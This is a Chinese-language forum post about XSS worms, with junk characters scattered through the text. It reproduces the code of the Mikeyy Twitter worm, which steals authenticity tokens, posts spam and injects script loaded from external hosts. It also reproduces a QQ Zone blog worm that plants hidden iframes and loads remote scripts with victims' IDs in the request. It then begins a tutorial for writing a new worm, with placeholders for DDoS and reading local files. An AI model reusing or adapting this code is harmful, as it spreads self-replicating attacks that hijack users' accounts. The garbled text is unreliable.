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! j7 h+ y% e7 I$ l ]1 R第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; ! Q/ s( S1 i7 u) ~ k$ i
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4 c- N: ~& v+ Q! b7 s2 M. y/ X2 \ 3. function XHConn(){ ' ~3 m2 K0 z1 _& b2 Y
% R5 ?. K$ p# p8 ^& F 4. var _0x6687x2,_0x6687x3=false;
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' ^' J7 _3 s; g v" A0 A 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } 2 J9 H+ g7 L" M' Q5 _
) N1 x8 x4 ]8 X; i 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } / Y7 s! C- N: u, @7 i4 S0 U- @
: r; F. F7 F0 W6 D
8. catch(e) { _0x6687x2=false; }; }; }; 6 Y. L' v' X! ]3 ~6 f/ U3 Y" Q
复制代码第六版: 1. function wait() { 8 E3 W* |4 _/ K" M" x
. Q0 P y4 M/ J5 H1 D5 V7 \( R 2. var content = document.documentElement.innerHTML; 5 v# F9 ^5 f% A: n. ]: q
! o/ ?: C/ ^0 u$ [ 3. var tmp_cookie=document.cookie; 2 B( w% _& ~2 u% p4 z6 U6 t# X
, w) Q( ^/ k2 Q+ L) ? 4. var tmp_posted=tmp_cookie.match(/posted/); * _# R) R) f0 f, f% R( w' D
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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6. var authtoken=authreg.exec(content);
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) d3 X0 }. n$ }$ A/ O ] 7. var authtoken=authtoken[1]; 8 G/ N5 y) S7 e' \
9 |5 S$ S9 I$ Q6 b1 O 8. var randomUpdate= new Array();
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; & e8 g6 ]4 t) i1 ^! c" X2 f7 |
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; ) Z/ q% @9 D8 o* }
& n* `9 {! X0 K 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
+ s. H, _6 O2 H
4 x, M- J7 ?* [ 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; 6 I% a, p0 x- k4 z
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 0 L' c% e$ {( b
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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( r; A/ r4 H! c8 ~1 ]2 } 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; ' g, l, | S& U) ~1 r4 i
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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! ~* _: B! B7 x/ y8 i6 _ 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; - q4 x% ?% g3 {
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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& B0 {( ?+ p$ m+ y$ ~6 f 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; ) f N0 \( H/ z; e
0 D( P% x& I6 T w9 Q. [6 a. {
23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; & H9 i5 g- ]: n/ b0 X
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24.
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2 i3 C1 I1 l i$ C 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; 5 U% U [, f1 l$ X
4 H' B5 Y' c2 }+ ^9 O, R 26. var updateEncode=urlencode(randomUpdate[genRand]); # ^" d; v/ }6 R5 D1 K4 D6 ]
% H- L4 H9 u# y5 r: g4 H 27.
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' M2 ]' z# K9 E 28. var ajaxConn= new XHConn();
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3 }7 ?, Y/ Z% A; d* H 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); 9 s: R$ ~6 y* U3 i: E C
0 O6 h) o; q- w% i9 r 30. var _0xf81bx1c="Mikeyy";
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: f4 j! \: _3 m8 z) O, U* t) ] 31. var updateEncode=urlencode(_0xf81bx1c); 6 `" O) f2 d; G! S' O5 v
/ H- d" V/ m4 r8 S 32. var ajaxConn1= new XHConn();
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9 h6 h6 P3 M% n% K/ f% N 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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' g" V# ~ x8 R/ _# q& U 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; ! y! b( O; K4 t" ]) u$ Y
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35. var XSS=urlencode(genXSS);
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$ c7 x: t8 Q/ \: Z2 v- G 36. var ajaxConn2= new XHConn(); 0 Y# V) @: D8 p1 N- v5 y& o) s- x
. }. U5 B% L/ A `4 s) Y$ \
37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); 3 Z& L1 C& k" w9 |" ]
/ q. x' c7 x4 F( n 38. & |! e% `- Y+ a7 T$ N" R/ ?
/ U2 D8 U( F) J# s4 F 39. } ;
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, n, r/ S5 M5 Y, k% V 40. setTimeout(wait(),5250); & Y. u0 L1 t$ N: m) N
复制代码QQ空间XSSfunction killErrors() {return true;}
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: o; M% W3 f8 Jwindow.onerror=killErrors;
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var shendu;shendu=4;3 A$ f, g5 Y* ^5 I
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//---------------global---v------------------------------------------
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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) U) ^9 E3 {' ~+ Mvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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( f7 Z2 ^7 l0 ^var myblogurl=new Array();var myblogid=new Array();
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var gurl=document.location.href;8 T/ L3 ]& U# T8 H- w' A" e+ T1 T/ G
2 i3 e, b( | h8 I p6 G2 Y var gurle=gurl.indexOf("com/");. F" b' {# {/ q
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gurl=gurl.substring(0,gurle+3);
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var visitorID=top.document.documentElement.outerHTML;8 r5 b! ^* A) z- _" ^/ g
3 x# c1 s9 }& d1 e2 F1 ~ var cookieS=visitorID.indexOf("g_iLoginUin = ");1 }2 P* G0 O3 _) [ V7 O* s
0 [; @7 d# ?& P" a visitorID=visitorID.substring(cookieS+14);* N: g# \, V& s1 p
2 j H3 v4 t7 {0 J [2 E" p cookieS=visitorID.indexOf(",");
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visitorID=visitorID.substring(0,cookieS);5 S# ~9 M; }. T4 z! u6 [
2 \+ b7 d: M! O. v+ Z. P get_my_blog(visitorID);
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DOshuamy();
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, w+ W* Q8 E2 q) A0 p4 _' D
6 k3 I y/ J c6 T' ]7 P* ?//挂马
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function DOshuamy(){5 }2 D! P5 W. d, e8 o, B6 c
+ D. W6 x" r9 Q6 b" ^% b U% J
var ssr=document.getElementById("veryTitle");4 Y$ _& N/ s$ @1 s- x
* g+ a. Z; C( Y s5 A. |; ~ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");/ Y4 K3 e% M( V" a. X
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}
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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function get_my_blog(visitorID){6 X3 P; u& Q/ ]$ f6 P9 i- y
/ b# Z7 z6 h" l8 u% C% e8 @ userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";5 t- M% ?- M9 i+ n5 i. ?' B
! X1 \$ Y2 T x* E1 }! Q# P& _. p xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象8 J d1 J+ x& g' ] V
+ {7 S0 M) z/ Q( E6 a
if(xhr){ //成功就执行下面的
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: X) } S# B, ]! I1 t D b* l! H xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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xhr.send();guest=xhr.responseText;
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get_my_blogurl(guest); //执行这个函数8 d; M! j9 j( P" R; \% X9 V
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}
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//这里似乎是判断没有登录的
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function get_my_blogurl(guest){' U% ?: E5 ^0 j4 u! y
9 O ?/ I1 M* z& {9 ^5 A& @ var mybloglist=guest;
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var myurls;var blogids;var blogide;
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@1 s( j4 B( u2 ^' e% z for(i=0;i<shendu;i++){
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' ?1 e' O1 B' C- H- l J myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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if(myurls!=-1){ //找到了就执行下面的
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mybloglist=mybloglist.substring(myurls+11);: U; M) B4 m5 ?( D5 J& E1 |' J; L) P
1 H* I" S" _. b* T" }, v5 ]" ~ myurls=mybloglist.indexOf(')');# K6 ]+ S4 n! c3 S u
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myblogid=mybloglist.substring(0,myurls);/ z$ L7 n3 j7 w* N; w# h2 E
" g% q; \$ d- f8 [* r7 D6 t }else{break;}
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# G1 h1 N9 ^$ v}
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3 D/ x% E3 V$ E2 rget_my_testself(); //执行这个函数
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//这里往哪跳就不知道了" B y2 A' S; w8 D- B, x+ J
8 B+ f6 J/ b+ S" r, Ffunction get_my_testself(){
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" c$ p- A& ~2 a. y for(i=0;i<myblogid.length;i++){ //获得blogid的值
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5 L6 ?/ n8 k3 K7 ~2 L7 n' f var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
; A J/ }- B5 O3 y8 A& ]) b% Y+ P5 B) w# m
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
U3 z6 b# M+ H" y. I" ~( Y) g9 O2 y
if(xhr2){ //如果成功
4 P/ @7 p2 ~3 a+ z
5 ` B; \8 H+ h xhr2.open("GET",url,false); //打开上面的那个url2 m- |* n1 v8 u! Q9 g6 s' @
. ^" b6 w4 v' R" v& ~0 R" C xhr2.send();
! E7 E8 |" i f
7 y7 I# c: s! u. ~( \ guest2=xhr2.responseText;
; H! x% }2 v1 u& o' l# Y( n
! ]) v' a; k" i9 f, F7 A: z3 `+ Y var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?; `& X5 M2 T2 a3 f7 ~
" D, t% D6 F& p+ g! P
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
/ E9 q/ J' N# ]4 A# j3 t6 \) X! y* E( |
8 R* y, h# t" u3 A if(mycheckmydoit!="-1"){ //返回-1则代表没找到
* z7 e6 u' Z6 J. A- m, z9 h: Q3 ]* r0 i- L& x% [. R6 L2 }. C; g
targetblogurlid=myblogid;
! [, Q% _& x- M' v
4 d2 d7 c" ^* e3 T7 [6 l- n" \ add_jsdel(visitorID,targetblogurlid,gurl); //执行它$ x1 I$ _& L3 E
7 u; m1 z1 T. u8 D" e7 }2 t break;
7 ]2 M' q7 u/ C+ \7 o- v7 E$ Q+ I: Y* N2 d, Z
}- z& G; T7 u! ?$ S4 l* k1 _) a
8 \: T* s! H$ L0 _ s3 P! |
if(mycheckit=="-1"){
# e7 \& z$ i+ u+ a" V( _5 M% P( X# W0 B) w; ~4 Q3 y
targetblogurlid=myblogid;
7 I4 G G: j9 p8 i& r4 u% W7 G$ H4 o( O
add_js(visitorID,targetblogurlid,gurl); //执行它- F7 ^4 V! V9 w, Y7 [* ~' o; X3 k
h9 ?) G) X7 e* W5 a3 s
break;
& c* `' x: D- x4 {
$ k# d% m# R( E, L# U }
3 X$ C8 [ I5 K( d+ {4 C& q. u: r
} & s# d$ s" N# y, s0 @
6 w# X+ p0 I x5 R3 a$ F% O. t* W
}
! U; A7 J* w4 ]4 b0 Y& h% E; w9 m8 v9 n4 }/ W# x% L
}$ @9 B( v- h( w. `1 J6 _
, x9 W$ |( O! O9 x1 h: v2 m6 ?$ F4 R4 V( I( f. o
! ~. Z( d2 @# L9 d1 k$ B
//-------------------------------------- % y/ y& Z; ^' u& G9 ~$ @/ R+ Z
. D4 _; V: A5 @7 M. u//根据浏览器创建一个XMLHttpRequest对象. Q* G4 j( C3 k% b' f3 n
! S! ?, [9 l2 L# f5 I: b4 afunction createXMLHttpRequest(){8 K% y7 Z. ?5 }2 |& k
p: m7 b) v) R0 ~
var XMLhttpObject=null;
6 P5 \8 E6 b: x F) U( g! T/ C9 E0 l% |. W; R9 ^
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
# A& k) ^" T" v" } d6 S
( A- A9 C' S# Z+ } else ! A& G$ h; I' }& y4 _
, C: M* u* m9 t2 Z9 g { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
- ^8 I3 x/ S! D) \0 S& N
6 P% o$ M( M3 w/ {8 |+ Q for(var i=0;i<MSXML.length;i++)
w4 I) L/ V7 A: f
, p) a. x) e3 d# V9 H {
( U$ v3 E# c) F
3 ?, h0 x/ a1 h( U# X try 2 {# e4 l. W1 n# T" |- N
' W" |7 Z( k, T+ z; ?5 S {
( j) z6 e: V( [( c. U( e
* o: u8 y V5 t& u A# v# \ XMLhttpObject=new ActiveXObject(MSXML); + l% @' p4 K$ t$ e4 {% s. m0 C
' `2 g; X% @9 c4 z
break; 9 h Z5 \+ d4 y1 s% F1 K
' x6 ~, E. o. D9 d- L0 S4 e% D } + v8 c9 ?2 \- h1 M4 X3 J
S& U& t5 h+ N& R7 ^5 ~
catch (ex) {
3 D% L9 y' C3 F8 o2 j. @
6 f9 a% }) |0 s+ A/ b6 t } / m0 a, y4 W ?) J$ j7 P/ p
- C! ~& z' A2 u- E' p* B. T( B+ T# | }
* M6 \) S; S" @2 A& d* p& N
5 V ~8 M, [: s }2 }4 ^! n4 X! `9 }+ U) l
: R, x5 ~: m$ Areturn XMLhttpObject;
1 @9 [' b* _1 t% ]5 a2 P
/ Q$ n/ {3 ?, C0 L* b}
1 F* w/ W6 d+ Q' P# Y& e) |1 N# N$ F# K2 {4 ^
" a7 o0 q/ R! \" V' J! v, c f" e( v6 H. k! k+ }. p: Z0 z& M5 H( q
//这里就是感染部分了; @- Q3 v- }: @- r1 V
7 \- Q. Y7 k+ E( a" b# Ifunction add_js(visitorID,targetblogurlid,gurl){3 L) G$ a! N* j( a- P+ A
; X9 p6 ^; F3 l/ x# Q) A' R5 v
var s2=document.createElement('script');* C0 n$ S4 K4 {7 E8 D' R, i
4 A/ X* n+ D! q9 B& q" f* `% P
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
% l) N1 t' a, q3 h4 G* J, n5 T; N B' n( g1 @' t5 L
s2.type='text/javascript';
) O! e0 H7 M; M+ Q9 M8 ~% P6 v4 T
document.getElementsByTagName('head').item(0).appendChild(s2);6 O: e h. B" e& p4 j
- E Q' n5 ]8 g" o" Q' ~}
' T! g- r8 l! K6 D9 b+ ~
4 `7 n- c" j4 b! ?$ y# I8 R" i8 G; G; s o
1 |/ p" [- M' x
function add_jsdel(visitorID,targetblogurlid,gurl){; ~- G: L2 T, @% | J; a0 s
0 m8 b: {# O8 G* F; Svar s2=document.createElement('script');
3 U# c& g# [" |; v: A/ B
% K+ V _/ m+ j$ R8 [' ^s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();+ X) Z6 f$ K; S1 L3 n
" W' B1 W. ^( b5 Q4 Y$ J$ ~' ~
s2.type='text/javascript';4 f9 p- x6 ]; ~# D& @$ r0 Y) n2 M% U
" W4 ^" X- i4 g; z) `document.getElementsByTagName('head').item(0).appendChild(s2);
8 w3 T8 ]" X, _4 x. {# P& I# G" T: y5 K8 S4 ]: L/ t
}$ n* [2 b4 C* _3 _, [7 p
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:0 m: h4 q$ j0 ]6 E% f. n
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.). G; }! Z7 V! p5 \/ T
! E* c& r8 _' r# j# j$ G9 ]$ F
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)# O9 V8 H- N8 |; w8 h
$ U! k+ Z1 S! Z9 g5 L! T. [
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
) g+ ^- Z6 i2 Z2 s" h" \2 G3 |5 v9 l" g5 ?2 ?( Q
" E* t; Q5 o* }下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.3 Z4 u0 { e3 J: o" O
& j0 Z5 |7 j7 G% i/ t2 g& h- _
首先,自然是判断不同浏览器,创建不同的对象var request = false;
- i' u% z7 r' c7 q# _0 o7 M* g& H! ~+ P8 A ^" m
if(window.XMLHttpRequest) {
! N, {. O- S& q: w# |& x3 z# t6 K0 q( l9 P) J5 g$ A
request = new XMLHttpRequest();1 J! L) _/ _) }4 l2 }
# g2 k8 ]7 A, u3 e# }2 }0 _
if(request.overrideMimeType) { f! k1 \ l. y9 w! @! H, G
. ~9 C( m. y4 G6 G. _% C
request.overrideMimeType('text/xml');+ z% y8 J5 _5 J' X3 Y1 c4 b
8 b% o3 H0 `: R3 Z B' B
}
s) P/ y5 Y2 h
" `' _4 W' x! s4 {6 m} else if(window.ActiveXObject) {! n$ a# E3 r3 q9 n
* g5 e( e* q+ m! G7 U$ x
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
3 n1 ?( C; s3 w9 e2 q; j3 f- u
0 l: q4 Y1 H: q( `1 i6 x& cfor(var i=0; i<versions.length; i++) {
. v8 P" B1 p, ~, p
+ X6 a9 v" T- F- n, H) itry {* Y. \, o1 F0 t% |4 ^- F1 C& T! k' Q
7 k& E4 Y: u1 c! f# V8 o7 i
request = new ActiveXObject(versions);
2 J# I5 p1 Q; ^6 K! h7 E w! T( K1 b/ i' \
} catch(e) {}) Q& t: y# Z+ t0 z4 V2 T* Z
- F1 e6 c/ J7 f% f! P; T
}
* | {; ~+ H% S
7 F7 t, R9 c; q& I1 p- z} R2 c, H$ n f8 g% y! A
( I/ f+ |# L8 N6 |xmlHttpReq=request;
0 R6 J; l6 Q$ @, C; l* X复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){8 W( F. I2 V6 a9 _% M
$ H5 k* ]! N. d6 }2 i8 e6 u
var Browser_Name=navigator.appName;3 Z. F/ ~" h$ _5 Z
7 \8 D! D& I6 t var Browser_Version=parseFloat(navigator.appVersion);# L: T* P' n7 T5 b' i
* G) U8 A e( Z# r3 R6 p$ m; {6 J var Browser_Agent=navigator.userAgent;- X: N2 w0 O) J( K2 J6 Q
0 v1 W e' p+ l ?& I0 E
5 g4 ^* R' L- N/ n: R4 T( r% `- u+ y! B! t# i: j
var Actual_Version,Actual_Name;
* c- y! n* P8 t
8 g! e9 k, _, t% Y$ U8 z
8 e) p. ]& A9 R9 J' a- A- n
" I6 ^8 y/ P9 f6 S- f7 \" { var is_IE=(Browser_Name=="Microsoft Internet Explorer");
+ ^ Q+ N( y2 w7 }; @- h# F6 t9 K9 f7 O
var is_NN=(Browser_Name=="Netscape");% t8 T; K/ `+ u+ w& _& q
# e6 y8 J) \& G' C) l8 B8 J+ |
var is_Ch=(Browser_Name=="Chrome");
" \4 b3 G+ J3 ~ }3 T) h- Q
5 P8 Z1 J" P" _0 {- P% ` * ^1 b% f/ a" A1 E& l
. j( T& r8 W2 [2 Z5 S& M x
if(is_NN){7 ]) V% A3 \! m3 q
0 Z9 h- h! U5 ?6 S if(Browser_Version>=5.0){
+ e* F+ g3 E0 }+ G1 T$ N4 C' U6 K. o7 _* ?6 k, q9 [9 r9 w
var Split_Sign=Browser_Agent.lastIndexOf("/");
( a! z* J# m0 f( S R( o! `6 A) O0 q2 R
var Version=Browser_Agent.indexOf(" ",Split_Sign);
2 Y5 m3 w6 i1 G6 Z) @8 b9 ^
5 `* q: r5 a( b0 q7 @ var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
! o, \. x" q" H8 I" f0 S* {" o; d8 r1 g* ~6 O9 h- o8 X
+ [" f* O) u8 q2 g8 w; H1 j N5 d/ N. N8 ]) s6 _; ?
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);9 Q$ w% M7 O) X" w: K; w2 l' H8 G% [
' ~% U- K; L ~0 C4 H% `$ }
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
5 @- t6 |7 I- [$ @ [5 T, M' I" e& E- c; k/ s8 z; y
}
5 X& T8 j0 s* o
) U; ~& D# X4 ]9 M1 q4 e5 ] else{
& s9 u* r: h( d8 ~; ]/ A. w0 C
+ k, G1 r4 `3 f3 o3 ?5 t' [ Actual_Version=Browser_Version;) b7 k: [( X7 Q: f7 |3 c! O
- B3 g* { J& s/ K$ ~! P; c Actual_Name=Browser_Name;2 W1 v1 @& z* T) d7 r. c
' V+ Q& }5 p y6 H+ ?, | }6 h/ |2 V4 K! Z5 w- L- H
' G2 M5 R; U' a x+ J$ e2 \ }4 a4 b) M% N' ]- U" L
! @! V# Q. z) z. f+ }
else if(is_IE){; r8 \6 v: d3 v2 A# `. V: l
, j- X# P* F) e( I; K0 N
var Version_Start=Browser_Agent.indexOf("MSIE");
! \- ?; I m0 d0 X7 X$ t
M0 L7 Y" [7 E& i' g: C b* M var Version_End=Browser_Agent.indexOf(";",Version_Start);3 a- a1 ?9 d2 _* m; S
7 T! A: X1 @6 E3 n" U: f' k" o' v
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
8 ~+ f6 {$ \1 ~' z2 Y! P. i; o! \2 Q5 l
Actual_Name=Browser_Name;9 V8 t6 `2 X0 @& O$ i1 j! U
, T- @5 k2 m% _# o$ G W2 G
4 j7 ~2 F4 A! t- }, K4 q- t# F
, p2 {3 _/ k' o% g" a2 K9 c1 } if(Browser_Agent.indexOf("Maxthon")!=-1){
6 [& R6 b1 X9 ]; Y' E& n( a( T6 T" y! U, z9 n0 ^3 F! f
Actual_Name+="(Maxthon)";8 ]/ n; K! q$ m
& Z% F3 ]2 U% X) e5 v' a+ P }
+ j* T9 v7 ?# Z3 [7 G {, b( v4 V! \$ {4 X1 D# Q, H. Y( @) P
else if(Browser_Agent.indexOf("Opera")!=-1){& n2 {9 B3 Y) j/ g
7 O: ~. t9 z- Y1 `$ [) C Actual_Name="Opera";% y$ M' ?% L) l* d3 @' q" F7 _
0 m+ p/ y3 l/ p. A var tempstart=Browser_Agent.indexOf("Opera");4 E7 l, t, N. \! T3 N6 u1 ]
, n3 G# h0 n# ~4 l) z! ~: O var tempend=Browser_Agent.length;
; \5 p8 ^3 ^1 e; ?7 B5 O( g) a$ T+ a/ ]( @( W' w- B
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
6 r% \& X2 Z u1 B9 Q/ o/ n8 d$ a+ ?' v) u- v( f
}
- Y2 s$ L& j5 u1 o+ r( r/ Y# a$ I4 h7 l) |; [& f' x c9 A L
}
9 ? J* L4 C' n, X9 W4 ^; ?- e
) k6 Z0 t* k6 o else if(is_Ch){
; r4 x0 S/ V( P/ M; D$ y" x
( A5 e; ?- c& ` B8 F+ [+ o var Version_Start=Browser_Agent.indexOf("Chrome");8 |* ?" L$ d5 ~
5 m, }) L9 ~# R) @( s0 a+ j% Q var Version_End=Browser_Agent.indexOf(";",Version_Start);: h9 i4 y+ Z, n' D! W
' n2 a8 E- y+ x% i. T& R7 r3 T Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
- U: q+ P' n- r! B6 @; X6 r4 ~+ K3 `( l5 i( [# |/ g% M9 f
Actual_Name=Browser_Name;8 a! E4 _; E- ?' n* a
: r; A* _( n% O- q+ c 8 V0 c7 J3 |( W9 C8 p1 i4 t
" U. o4 U4 b+ E if(Browser_Agent.indexOf("Maxthon")!=-1){ V2 i9 c* _# {) L. j! I& t- w
, j) k1 L1 f5 m+ t d Actual_Name+="(Maxthon)";
% i" g. f, Q t7 k# { ^
. ~& }) }1 C* R+ ]) P; R }
7 V" z) v. \- J+ ?9 Y+ w& \/ R1 N- i. H% Q3 }
else if(Browser_Agent.indexOf("Opera")!=-1){1 t. r: B! I8 N
4 ]/ u; ~- s0 ^1 @4 p
Actual_Name="Opera";
' Q% p& M* n% t8 [% d
) X% ^! w0 u9 a# G& s var tempstart=Browser_Agent.indexOf("Opera");0 W P- Y! _! Z
5 K7 {4 Z& a3 Q1 v
var tempend=Browser_Agent.length;. g2 q8 K1 V! m( D7 T8 t' C1 d6 y
. a) p+ K7 x8 c+ h u# P Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
j5 G1 j0 \( m
: O% y. O* I( \8 v }' d/ N8 ` @- {" |+ G
$ I- S. s6 @9 m( X0 y; R! ~ }
$ e1 f# @3 o5 T1 ?( a* k
, L0 F0 C1 S) `, O1 j7 i6 n else{ @2 C) o2 a' k) K* I
6 f# D& @& U. [7 m9 Q7 n
Actual_Name="Unknown Navigator"
# L6 n4 I! n' [( y. q- Z$ _! C2 F y4 b! D+ i/ D! G# s$ i9 o
Actual_Version="Unknown Version"7 s' s! S3 a4 \2 v
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}* D. j0 h" G) i% H# _* |# s; p" n, Q
! a2 t4 [/ V- j+ G7 D& D& [
9 {. }/ B) i% @. U8 D
6 o/ A( e/ e% ~5 i- m9 O navigator.Actual_Name=Actual_Name;
" O1 b' r3 t/ H- c. q% q* x+ h" w \9 W) G( Z' A n
navigator.Actual_Version=Actual_Version;: e5 [9 u1 u+ y/ ]
. ]' J5 H A2 p- }. I6 B
0 }; k( h5 x, }% n, @
2 y0 Y3 F+ T* j* _3 j1 Q( s
this.Name=Actual_Name;
: o/ {9 ]) l$ L2 ?: H* l0 M3 v7 v6 G( C: a9 Q) N
this.Version=Actual_Version;; v% i' N6 z% W4 q B
! H0 E( v) B: W( v3 s2 n" W! L. V }
R n) k( x2 w
3 k/ C7 k. P! U) t) k0 d" r$ p2 c browserinfo();+ w( e, s1 y. N( R, n5 O
# N8 x: _+ n, I8 @
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}/ d, J9 O6 n% \, g2 W3 }
4 N( U2 u; {) c! J' Y
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
# W2 k& `' ^: a5 ^+ z y! ^ y: C" F* W0 Y7 R7 J. m: f R' Q( r D
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}" C; `9 X0 i$ N4 V) }8 H( l+ C
+ K$ S$ f# L! Z( w& L! t
